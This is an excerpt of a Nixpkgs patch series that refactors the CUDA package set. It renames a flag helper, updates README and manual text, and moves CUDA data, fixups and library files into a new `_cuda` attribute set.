-  cudaCapability' = lib.toInt (cudaPackages.flags.dropDot cudaCapabilityString);
+  cudaCapability' = lib.toInt (cudaPackages.flags.dropDots cudaCapabilityString);
 
   mklSupport =
     assert accelIsValid;
diff --git a/pkgs/by-name/mo/moshi/package.nix b/pkgs/by-name/mo/moshi/package.nix
index 94fd6af59326..f0e2b3db2235 100644
--- a/pkgs/by-name/mo/moshi/package.nix
+++ b/pkgs/by-name/mo/moshi/package.nix
@@ -38,7 +38,7 @@ let
       ))
     else
       cudaCapability;
-  cudaCapability' = lib.toInt (cudaPackages.flags.dropDot cudaCapabilityString);
+  cudaCapability' = lib.toInt (cudaPackages.flags.dropDots cudaCapabilityString);
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "moshi";
diff --git a/pkgs/by-name/ti/tiny-cuda-nn/package.nix b/pkgs/by-name/ti/tiny-cuda-nn/package.nix
index 924d691e52bd..e2c2f75d13da 100644
--- a/pkgs/by-name/ti/tiny-cuda-nn/package.nix
+++ b/pkgs/by-name/ti/tiny-cuda-nn/package.nix
@@ -43,7 +43,7 @@ let
 
   cudaCapabilities = lists.subtractLists unsupportedCudaCapabilities flags.cudaCapabilities;
 
-  cudaArchitecturesString = strings.concatMapStringsSep ";" flags.dropDot cudaCapabilities;
+  cudaArchitecturesString = strings.concatMapStringsSep ";" flags.dropDots cudaCapabilities;
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "tiny-cuda-nn";
diff --git a/pkgs/development/libraries/science/math/magma/generic.nix b/pkgs/development/libraries/science/math/magma/generic.nix
index 53407ebe7bcb..c7938b98368a 100644
--- a/pkgs/development/libraries/science/math/magma/generic.nix
+++ b/pkgs/development/libraries/science/math/magma/generic.nix
@@ -94,7 +94,7 @@ let
   minArch =
     let
       # E.g. [ "80" "86" "90" ]
-      cudaArchitectures = (builtins.map flags.dropDot flags.cudaCapabilities);
+      cudaArchitectures = (builtins.map flags.dropDots flags.cudaCapabilities);
       minArch' = builtins.head (builtins.sort strings.versionOlder cudaArchitectures);
     in
     # "75" -> "750"  Cf. https://github.com/icl-utk-edu/magma/blob/v2.9.0/CMakeLists.txt#L200-L201

From 420ef69fa8589533cf8c5d4b26363cb0255bd3e5 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Sat, 10 May 2025 02:51:30 +0000
Subject: [PATCH 0103/4511] cudaPackages: doc fixup

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 8fcff2390e3224e970291975cedcbd23f743c6da)
---
 pkgs/development/cuda-modules/README.md | 16 ++++------------
 1 file changed, 4 insertions(+), 12 deletions(-)

diff --git a/pkgs/development/cuda-modules/README.md b/pkgs/development/cuda-modules/README.md
index 3e6168e52be8..4d4e14eb5af8 100644
--- a/pkgs/development/cuda-modules/README.md
+++ b/pkgs/development/cuda-modules/README.md
@@ -8,15 +8,6 @@
 The files in this directory are added (in some way) to the `cudaPackages`
 package set by [cuda-packages.nix](../../top-level/cuda-packages.nix).
 
-## Top-level files
-
-Top-level nix files are included in the initial creation of the `cudaPackages`
-scope. These are typically required for the creation of the finalized
-`cudaPackages` scope:
-
-- `backend-stdenv.nix`: Standard environment for CUDA packages.
-- `flags.nix`: Flags set, or consumed by, NVCC in order to build packages.
-
 ## Top-level directories
 
 - `cuda`: CUDA redistributables! Provides extension to `cudaPackages` scope.
@@ -38,6 +29,8 @@ scope. These are typically required for the creation of the finalized
       short, the Multiplex builder adds multiple versions of a single package to
       single instance of the CUDA Packages package set. It is used primarily for
       packages like `cudnn` and `cutensor`.
+- `lib`: A library of functions and data used by and for the CUDA package set.
+    This library is exposed at the top-level as `pkgs.cudaLib`.
 - `modules`: Nixpkgs modules to check the shape and content of CUDA
     redistributable and feature manifests. These modules additionally use shims
     provided by some CUDA packages to allow them to re-use the
@@ -45,9 +38,8 @@ scope. These are typically required for the creation of the finalized
     own. `cudnn` and `tensorrt` are examples of packages which provide such
     shims. These modules are further described in the
     [Modules](./modules/README.md) documentation.
-- `nccl`: NVIDIA NCCL library.
-- `nccl-tests`: NVIDIA NCCL tests.
-- `saxpy`: Example CMake project that uses CUDA.
+- `packages`: Contains packages which exist in every instance of the CUDA
+    package set. These packages are built in a `by-name` fashion.
 - `setup-hooks`: Nixpkgs setup hooks for CUDA.
 - `tensorrt`: NVIDIA TensorRT library.
 

From c3fdb7a77c0147481149df3636593bd4dfe96ae4 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 20 May 2025 09:32:03 -0700
Subject: [PATCH 0104/4511] _cuda: introduce to organize CUDA package set
 backbone

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 688e14d21a38135270544bfdfcc793d25dea2802)
---
 doc/languages-frameworks/cuda.section.md      |  4 +-
 .../{lib/data => _cuda/db/bootstrap}/cuda.nix | 60 +----------------
 .../data => _cuda/db/bootstrap}/default.nix   |  8 +--
 .../{lib/data => _cuda/db/bootstrap}/nvcc.nix |  0
 .../data => _cuda/db/bootstrap}/redist.nix    |  0
 .../cuda-modules/_cuda/db/default.nix         | 65 +++++++++++++++++++
 .../cuda-modules/_cuda/default.nix            | 30 +++++++++
 .../{ => _cuda}/fixups/cuda_compat.nix        |  0
 .../{ => _cuda}/fixups/cuda_cudart.nix        |  0
 .../{ => _cuda}/fixups/cuda_demo_suite.nix    |  0
 .../{ => _cuda}/fixups/cuda_gdb.nix           |  0
 .../{ => _cuda}/fixups/cuda_nvcc.nix          |  0
 .../{ => _cuda}/fixups/cuda_nvprof.nix        |  0
 .../{ => _cuda}/fixups/cuda_sanitizer_api.nix |  0
 .../cuda-modules/{ => _cuda}/fixups/cudnn.nix |  0
 .../{ => _cuda}/fixups/default.nix            |  4 +-
 .../{ => _cuda}/fixups/driver_assistant.nix   |  0
 .../{ => _cuda}/fixups/fabricmanager.nix      |  0
 .../cuda-modules/{ => _cuda}/fixups/imex.nix  |  0
 .../{ => _cuda}/fixups/libcufile.nix          |  0
 .../{ => _cuda}/fixups/libcusolver.nix        |  0
 .../{ => _cuda}/fixups/libcusparse.nix        |  0
 .../{ => _cuda}/fixups/libcusparse_lt.nix     |  0
 .../{ => _cuda}/fixups/libcutensor.nix        |  0
 .../{ => _cuda}/fixups/nsight_compute.nix     |  0
 .../{ => _cuda}/fixups/nsight_systems.nix     |  0
 .../{ => _cuda}/fixups/nvidia_driver.nix      |  0
 .../{ => _cuda}/fixups/tensorrt.nix           |  4 +-
 .../{lib/utils => _cuda/lib}/assertions.nix   | 10 +--
 .../{lib/utils => _cuda/lib}/cuda.nix         |  2 +-
 .../{lib/utils => _cuda/lib}/default.nix      | 15 +++--
 .../{lib/utils => _cuda/lib}/meta.nix         |  6 +-
 .../{lib/utils => _cuda/lib}/redist.nix       | 10 +--
 .../{lib/utils => _cuda/lib}/strings.nix      | 39 ++++++-----
 .../{lib/utils => _cuda/lib}/versions.nix     | 11 ++--
 .../cuda-modules/cusparselt/extension.nix     |  2 +-
 .../cuda-modules/cutensor/extension.nix       |  2 +-
 .../generic-builders/manifest.nix             | 11 ++--
 .../generic-builders/multiplex.nix            |  3 +-
 pkgs/development/cuda-modules/lib/default.nix | 13 ----
 .../cuda-modules/packages/backendStdenv.nix   |  6 +-
 pkgs/development/cuda-modules/tests/flags.nix |  5 +-
 pkgs/top-level/all-packages.nix               |  5 +-
 pkgs/top-level/cuda-packages.nix              | 23 ++++---
 pkgs/top-level/release-cuda.nix               |  4 +-
 45 files changed, 186 insertions(+), 156 deletions(-)
 rename pkgs/development/cuda-modules/{lib/data => _cuda/db/bootstrap}/cuda.nix (88%)
 rename pkgs/development/cuda-modules/{lib/data => _cuda/db/bootstrap}/default.nix (74%)
 rename pkgs/development/cuda-modules/{lib/data => _cuda/db/bootstrap}/nvcc.nix (100%)
 rename pkgs/development/cuda-modules/{lib/data => _cuda/db/bootstrap}/redist.nix (100%)
 create mode 100644 pkgs/development/cuda-modules/_cuda/db/default.nix
 create mode 100644 pkgs/development/cuda-modules/_cuda/default.nix
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/cuda_compat.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/cuda_cudart.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/cuda_demo_suite.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/cuda_gdb.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/cuda_nvcc.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/cuda_nvprof.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/cuda_sanitizer_api.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/cudnn.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/default.nix (89%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/driver_assistant.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/fabricmanager.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/imex.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/libcufile.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/libcusolver.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/libcusparse.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/libcusparse_lt.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/libcutensor.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/nsight_compute.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/nsight_systems.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/nvidia_driver.nix (100%)
 rename pkgs/development/cuda-modules/{ => _cuda}/fixups/tensorrt.nix (98%)
 rename pkgs/development/cuda-modules/{lib/utils => _cuda/lib}/assertions.nix (91%)
 rename pkgs/development/cuda-modules/{lib/utils => _cuda/lib}/cuda.nix (98%)
 rename pkgs/development/cuda-modules/{lib/utils => _cuda/lib}/default.nix (73%)
 rename pkgs/development/cuda-modules/{lib/utils => _cuda/lib}/meta.nix (90%)
 rename pkgs/development/cuda-modules/{lib/utils => _cuda/lib}/redist.nix (95%)
 rename pkgs/development/cuda-modules/{lib/utils => _cuda/lib}/strings.nix (84%)
 rename pkgs/development/cuda-modules/{lib/utils => _cuda/lib}/versions.nix (84%)
 delete mode 100644 pkgs/development/cuda-modules/lib/default.nix

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index 7e489acdbd64..535ce02efbc6 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -115,8 +115,8 @@ All new projects should use the CUDA redistributables available in [`cudaPackage
 
 ### Updating supported compilers and GPUs {#updating-supported-compilers-and-gpus}
 
-1. Update `nvccCompatibilities` in `pkgs/development/cuda-modules/lib/data/nvcc.nix` to include the newest release of NVCC, as well as any newly supported host compilers.
-2. Update `cudaCapabilityToInfo` in `pkgs/development/cuda-modules/lib/data/cuda.nix` to include any new GPUs supported by the new release of CUDA.
+1. Update `nvccCompatibilities` in `pkgs/development/cuda-modules/_cuda/data/nvcc.nix` to include the newest release of NVCC, as well as any newly supported host compilers.
+2. Update `cudaCapabilityToInfo` in `pkgs/development/cuda-modules/_cuda/data/cuda.nix` to include any new GPUs supported by the new release of CUDA.
 
 ### Updating the CUDA Toolkit runfile installer {#updating-the-cuda-toolkit}
 
diff --git a/pkgs/development/cuda-modules/lib/data/cuda.nix b/pkgs/development/cuda-modules/_cuda/db/bootstrap/cuda.nix
similarity index 88%
rename from pkgs/development/cuda-modules/lib/data/cuda.nix
rename to pkgs/development/cuda-modules/_cuda/db/bootstrap/cuda.nix
index 0b97645c420d..e852bc85b639 100644
--- a/pkgs/development/cuda-modules/lib/data/cuda.nix
+++ b/pkgs/development/cuda-modules/_cuda/db/bootstrap/cuda.nix
@@ -1,63 +1,5 @@
-{ cudaLib, lib }:
+{ lib }:
 {
-  /**
-    All CUDA capabilities, sorted by version.
-
-    NOTE: Since the capabilities are sorted by version and architecture/family-specific features are
-    appended to the minor version component, the sorted list groups capabilities by baseline feature
-    set.
-
-    # Type
-
-    ```
-    allSortedCudaCapabilities :: [CudaCapability]
-    ```
-
-    # Example
-
-    ```
-    allSortedCudaCapabilities = [
-      "5.0"
-      "5.2"
-      "6.0"
-      "6.1"
-      "7.0"
-      "7.2"
-      "7.5"
-      "8.0"
-      "8.6"
-      "8.7"
-      "8.9"
-      "9.0"
-      "9.0a"
-      "10.0"
-      "10.0a"
-      "10.0f"
-      "10.1"
-      "10.1a"
-      "10.1f"
-      "10.3"
-      "10.3a"
-      "10.3f"
-    ];
-    ```
-  */
-  allSortedCudaCapabilities = lib.sort lib.versionOlder (
-    lib.attrNames cudaLib.data.cudaCapabilityToInfo
-  );
-
-  /**
-    Mapping of CUDA micro-architecture name to capabilities belonging to that micro-architecture.
-
-    # Type
-
-    ```
-    cudaArchNameToCapabilities :: AttrSet NonEmptyStr (NonEmptyListOf CudaCapability)
-    ```
-  */
-  cudaArchNameToCapabilities = lib.groupBy (
-    cudaCapability: cudaLib.data.cudaCapabilityToInfo.${cudaCapability}.archName
-  ) cudaLib.data.allSortedCudaCapabilities;
 
   /**
     Attribute set of supported CUDA capability mapped to information about that capability.
diff --git a/pkgs/development/cuda-modules/lib/data/default.nix b/pkgs/development/cuda-modules/_cuda/db/bootstrap/default.nix
similarity index 74%
rename from pkgs/development/cuda-modules/lib/data/default.nix
rename to pkgs/development/cuda-modules/_cuda/db/bootstrap/default.nix
index 60924cbb4f9e..8cfea1406934 100644
--- a/pkgs/development/cuda-modules/lib/data/default.nix
+++ b/pkgs/development/cuda-modules/_cuda/db/bootstrap/default.nix
@@ -1,9 +1,7 @@
-{ cudaLib, lib }:
+{ lib }:
 {
   # See ./cuda.nix for documentation.
-  inherit (import ./cuda.nix { inherit cudaLib lib; })
-    allSortedCudaCapabilities
-    cudaArchNameToCapabilities
+  inherit (import ./cuda.nix { inherit lib; })
     cudaCapabilityToInfo
     ;
 
@@ -28,5 +26,5 @@
     cudaPackagesPath :: Path
     ```
   */
-  cudaPackagesPath = ./..;
+  cudaPackagesPath = ./../../..;
 }
diff --git a/pkgs/development/cuda-modules/lib/data/nvcc.nix b/pkgs/development/cuda-modules/_cuda/db/bootstrap/nvcc.nix
similarity index 100%
rename from pkgs/development/cuda-modules/lib/data/nvcc.nix
rename to pkgs/development/cuda-modules/_cuda/db/bootstrap/nvcc.nix
diff --git a/pkgs/development/cuda-modules/lib/data/redist.nix b/pkgs/development/cuda-modules/_cuda/db/bootstrap/redist.nix
similarity index 100%
rename from pkgs/development/cuda-modules/lib/data/redist.nix
rename to pkgs/development/cuda-modules/_cuda/db/bootstrap/redist.nix
diff --git a/pkgs/development/cuda-modules/_cuda/db/default.nix b/pkgs/development/cuda-modules/_cuda/db/default.nix
new file mode 100644
index 000000000000..e6d404102aab
--- /dev/null
+++ b/pkgs/development/cuda-modules/_cuda/db/default.nix
@@ -0,0 +1,65 @@
+{
+  lib,
+  bootstrapData,
+  db,
+}:
+
+bootstrapData
+// {
+  /**
+    All CUDA capabilities, sorted by version.
+
+    NOTE: Since the capabilities are sorted by version and architecture/family-specific features are
+    appended to the minor version component, the sorted list groups capabilities by baseline feature
+    set.
+
+    # Type
+
+    ```
+    allSortedCudaCapabilities :: [CudaCapability]
+    ```
+
+    # Example
+
+    ```
+    allSortedCudaCapabilities = [
+      "5.0"
+      "5.2"
+      "6.0"
+      "6.1"
+      "7.0"
+      "7.2"
+      "7.5"
+      "8.0"
+      "8.6"
+      "8.7"
+      "8.9"
+      "9.0"
+      "9.0a"
+      "10.0"
+      "10.0a"
+      "10.0f"
+      "10.1"
+      "10.1a"
+      "10.1f"
+      "10.3"
+      "10.3a"
+      "10.3f"
+    ];
+    ```
+  */
+  allSortedCudaCapabilities = lib.sort lib.versionOlder (lib.attrNames db.cudaCapabilityToInfo);
+
+  /**
+    Mapping of CUDA micro-architecture name to capabilities belonging to that micro-architecture.
+
+    # Type
+
+    ```
+    cudaArchNameToCapabilities :: AttrSet NonEmptyStr (NonEmptyListOf CudaCapability)
+    ```
+  */
+  cudaArchNameToCapabilities = lib.groupBy (
+    cudaCapability: db.cudaCapabilityToInfo.${cudaCapability}.archName
+  ) db.allSortedCudaCapabilities;
+}
diff --git a/pkgs/development/cuda-modules/_cuda/default.nix b/pkgs/development/cuda-modules/_cuda/default.nix
new file mode 100644
index 000000000000..4d0c3c4b5d6a
--- /dev/null
+++ b/pkgs/development/cuda-modules/_cuda/default.nix
@@ -0,0 +1,30 @@
+# The _cuda attribute set is a fixed-point which contains the static functionality required to construct CUDA package
+# sets. For example, `_cuda.cudaData` includes information about NVIDIA's redistributables (such as the names NVIDIA
+# uses for different systems), `_cuda.cudaLib` contains utility functions like `formatCapabilities` (which generate
+# common arguments passed to NVCC and `cmakeFlags`), and `_cuda.cudaFixups` contains `callPackage`-able functions
+# which are provided to the corresponding package's `overrideAttrs` attribute to provide package-specific fixups
+# out of scope of the generic redistributable builder.
+#
+# Since this attribute set is used to construct the CUDA package sets, it must exist outside the fixed point of the
+# package sets. Make these attributes available directly in the package set construction could cause confusion if
+# users override the attribute set with the expection that changes will be reflected in the enclosing CUDA package
+# set. To avoid this, we declare `_cuda` and inherit its members here, at top-level. (This also allows us to benefit
+# from import caching, as it should be evaluated once per system, rather than per-system and CUDA package set.)
+
+let
+  lib = import ../../../../lib;
+in
+lib.fixedPoints.makeExtensible (final: {
+  bootstrapData = import ./db/bootstrap {
+    inherit lib;
+  };
+  db = import ./db {
+    inherit (final) bootstrapData db;
+    inherit lib;
+  };
+  fixups = import ./fixups { inherit lib; };
+  lib = import ./lib {
+    _cuda = final;
+    inherit lib;
+  };
+})
diff --git a/pkgs/development/cuda-modules/fixups/cuda_compat.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_compat.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/cuda_compat.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/cuda_compat.nix
diff --git a/pkgs/development/cuda-modules/fixups/cuda_cudart.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/cuda_cudart.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix
diff --git a/pkgs/development/cuda-modules/fixups/cuda_demo_suite.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_demo_suite.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/cuda_demo_suite.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/cuda_demo_suite.nix
diff --git a/pkgs/development/cuda-modules/fixups/cuda_gdb.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_gdb.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/cuda_gdb.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/cuda_gdb.nix
diff --git a/pkgs/development/cuda-modules/fixups/cuda_nvcc.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_nvcc.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/cuda_nvcc.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/cuda_nvcc.nix
diff --git a/pkgs/development/cuda-modules/fixups/cuda_nvprof.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_nvprof.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/cuda_nvprof.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/cuda_nvprof.nix
diff --git a/pkgs/development/cuda-modules/fixups/cuda_sanitizer_api.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_sanitizer_api.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/cuda_sanitizer_api.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/cuda_sanitizer_api.nix
diff --git a/pkgs/development/cuda-modules/fixups/cudnn.nix b/pkgs/development/cuda-modules/_cuda/fixups/cudnn.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/cudnn.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/cudnn.nix
diff --git a/pkgs/development/cuda-modules/fixups/default.nix b/pkgs/development/cuda-modules/_cuda/fixups/default.nix
similarity index 89%
rename from pkgs/development/cuda-modules/fixups/default.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/default.nix
index a5ec4a90e817..0c9874672ce4 100644
--- a/pkgs/development/cuda-modules/fixups/default.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/default.nix
@@ -1,6 +1,4 @@
-let
-  lib = import ../../../../lib;
-in
+{ lib }:
 lib.concatMapAttrs (
   fileName: _type:
   let
diff --git a/pkgs/development/cuda-modules/fixups/driver_assistant.nix b/pkgs/development/cuda-modules/_cuda/fixups/driver_assistant.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/driver_assistant.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/driver_assistant.nix
diff --git a/pkgs/development/cuda-modules/fixups/fabricmanager.nix b/pkgs/development/cuda-modules/_cuda/fixups/fabricmanager.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/fabricmanager.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/fabricmanager.nix
diff --git a/pkgs/development/cuda-modules/fixups/imex.nix b/pkgs/development/cuda-modules/_cuda/fixups/imex.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/imex.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/imex.nix
diff --git a/pkgs/development/cuda-modules/fixups/libcufile.nix b/pkgs/development/cuda-modules/_cuda/fixups/libcufile.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/libcufile.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/libcufile.nix
diff --git a/pkgs/development/cuda-modules/fixups/libcusolver.nix b/pkgs/development/cuda-modules/_cuda/fixups/libcusolver.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/libcusolver.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/libcusolver.nix
diff --git a/pkgs/development/cuda-modules/fixups/libcusparse.nix b/pkgs/development/cuda-modules/_cuda/fixups/libcusparse.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/libcusparse.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/libcusparse.nix
diff --git a/pkgs/development/cuda-modules/fixups/libcusparse_lt.nix b/pkgs/development/cuda-modules/_cuda/fixups/libcusparse_lt.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/libcusparse_lt.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/libcusparse_lt.nix
diff --git a/pkgs/development/cuda-modules/fixups/libcutensor.nix b/pkgs/development/cuda-modules/_cuda/fixups/libcutensor.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/libcutensor.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/libcutensor.nix
diff --git a/pkgs/development/cuda-modules/fixups/nsight_compute.nix b/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/nsight_compute.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
diff --git a/pkgs/development/cuda-modules/fixups/nsight_systems.nix b/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/nsight_systems.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
diff --git a/pkgs/development/cuda-modules/fixups/nvidia_driver.nix b/pkgs/development/cuda-modules/_cuda/fixups/nvidia_driver.nix
similarity index 100%
rename from pkgs/development/cuda-modules/fixups/nvidia_driver.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/nvidia_driver.nix
diff --git a/pkgs/development/cuda-modules/fixups/tensorrt.nix b/pkgs/development/cuda-modules/_cuda/fixups/tensorrt.nix
similarity index 98%
rename from pkgs/development/cuda-modules/fixups/tensorrt.nix
rename to pkgs/development/cuda-modules/_cuda/fixups/tensorrt.nix
index c55844eac0d9..2b73e8c2d4be 100644
--- a/pkgs/development/cuda-modules/fixups/tensorrt.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/tensorrt.nix
@@ -1,5 +1,5 @@
 {
-  cudaLib,
+  _cuda,
   cudaOlder,
   cudaPackages,
   cudaMajorMinorVersion,
@@ -103,7 +103,7 @@ finalAttrs: prevAttrs: {
     # unless it is not available, in which case the default cudnn derivation will be used.
     cudnn =
       let
-        desiredName = cudaLib.utils.mkVersionedName "cudnn" (
+        desiredName = _cuda.lib.mkVersionedName "cudnn" (
           lib.versions.majorMinor finalAttrs.passthru.featureRelease.cudnnVersion
         );
       in
diff --git a/pkgs/development/cuda-modules/lib/utils/assertions.nix b/pkgs/development/cuda-modules/_cuda/lib/assertions.nix
similarity index 91%
rename from pkgs/development/cuda-modules/lib/utils/assertions.nix
rename to pkgs/development/cuda-modules/_cuda/lib/assertions.nix
index 5fc940889b7f..f4413b28e4f3 100644
--- a/pkgs/development/cuda-modules/lib/utils/assertions.nix
+++ b/pkgs/development/cuda-modules/_cuda/lib/assertions.nix
@@ -1,4 +1,4 @@
-{ cudaLib, lib }:
+{ _cuda, lib }:
 {
   /**
     Evaluate assertions and add error context to return value.
@@ -16,7 +16,7 @@
   _evaluateAssertions =
     assertions:
     let
-      failedAssertionsString = cudaLib.utils._mkFailedAssertionsString assertions;
+      failedAssertionsString = _cuda.lib._mkFailedAssertionsString assertions;
     in
     if failedAssertionsString == "" then
       true
@@ -45,7 +45,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils._mkFailedAssertionsString` usage examples
+    ## `_cuda.lib._mkFailedAssertionsString` usage examples
 
     ```nix
     _mkFailedAssertionsString [
@@ -103,7 +103,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils._mkMissingPackagesAssertions` usage examples
+    ## `_cuda.lib._mkMissingPackagesAssertions` usage examples
 
     ```nix
     {
@@ -114,7 +114,7 @@
     }:
     let
       inherit (lib.attrsets) recursiveUpdate;
-      inherit (cudaLib.utils) _mkMissingPackagesAssertions;
+      inherit (_cuda.lib) _mkMissingPackagesAssertions;
     in
     prevAttrs: {
       passthru = prevAttrs.passthru or { } // {
diff --git a/pkgs/development/cuda-modules/lib/utils/cuda.nix b/pkgs/development/cuda-modules/_cuda/lib/cuda.nix
similarity index 98%
rename from pkgs/development/cuda-modules/lib/utils/cuda.nix
rename to pkgs/development/cuda-modules/_cuda/lib/cuda.nix
index e372fda0d1b5..16f99e57709a 100644
--- a/pkgs/development/cuda-modules/lib/utils/cuda.nix
+++ b/pkgs/development/cuda-modules/_cuda/lib/cuda.nix
@@ -92,7 +92,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils._mkCudaVariant` usage examples
+    ## `_cuda.lib._mkCudaVariant` usage examples
 
     ```nix
     _mkCudaVariant "11.0"
diff --git a/pkgs/development/cuda-modules/lib/utils/default.nix b/pkgs/development/cuda-modules/_cuda/lib/default.nix
similarity index 73%
rename from pkgs/development/cuda-modules/lib/utils/default.nix
rename to pkgs/development/cuda-modules/_cuda/lib/default.nix
index ee9ace015fae..b2fe9838de61 100644
--- a/pkgs/development/cuda-modules/lib/utils/default.nix
+++ b/pkgs/development/cuda-modules/_cuda/lib/default.nix
@@ -1,7 +1,10 @@
-{ cudaLib, lib }:
+{
+  _cuda,
+  lib,
+}:
 {
   # See ./assertions.nix for documentation.
-  inherit (import ./assertions.nix { inherit cudaLib lib; })
+  inherit (import ./assertions.nix { inherit _cuda lib; })
     _evaluateAssertions
     _mkFailedAssertionsString
     _mkMissingPackagesAssertions
@@ -16,13 +19,13 @@
     ;
 
   # See ./meta.nix for documentation.
-  inherit (import ./meta.nix { inherit cudaLib lib; })
+  inherit (import ./meta.nix { inherit _cuda lib; })
     _mkMetaBadPlatforms
     _mkMetaBroken
     ;
 
   # See ./redist.nix for documentation.
-  inherit (import ./redist.nix { inherit cudaLib lib; })
+  inherit (import ./redist.nix { inherit _cuda lib; })
     _redistSystemIsSupported
     getNixSystems
     getRedistSystem
@@ -30,7 +33,7 @@
     ;
 
   # See ./strings.nix for documentation.
-  inherit (import ./strings.nix { inherit cudaLib lib; })
+  inherit (import ./strings.nix { inherit _cuda lib; })
     dotsToUnderscores
     dropDots
     formatCapabilities
@@ -42,7 +45,7 @@
     ;
 
   # See ./versions.nix for documentation.
-  inherit (import ./versions.nix { inherit cudaLib lib; })
+  inherit (import ./versions.nix { inherit _cuda lib; })
     majorMinorPatch
     trimComponents
     ;
diff --git a/pkgs/development/cuda-modules/lib/utils/meta.nix b/pkgs/development/cuda-modules/_cuda/lib/meta.nix
similarity index 90%
rename from pkgs/development/cuda-modules/lib/utils/meta.nix
rename to pkgs/development/cuda-modules/_cuda/lib/meta.nix
index 327d4ae97d95..72f71973b0cd 100644
--- a/pkgs/development/cuda-modules/lib/utils/meta.nix
+++ b/pkgs/development/cuda-modules/_cuda/lib/meta.nix
@@ -1,4 +1,4 @@
-{ cudaLib, lib }:
+{ _cuda, lib }:
 {
   /**
     Returns a list of bad platforms for a given package if assertsions in `finalAttrs.passthru.platformAssertions`
@@ -18,7 +18,7 @@
   _mkMetaBadPlatforms =
     warn: finalAttrs:
     let
-      failedAssertionsString = cudaLib.utils._mkFailedAssertionsString finalAttrs.passthru.platformAssertions;
+      failedAssertionsString = _cuda.lib._mkFailedAssertionsString finalAttrs.passthru.platformAssertions;
       hasFailedAssertions = failedAssertionsString != "";
       finalStdenv = finalAttrs.finalPackage.stdenv;
     in
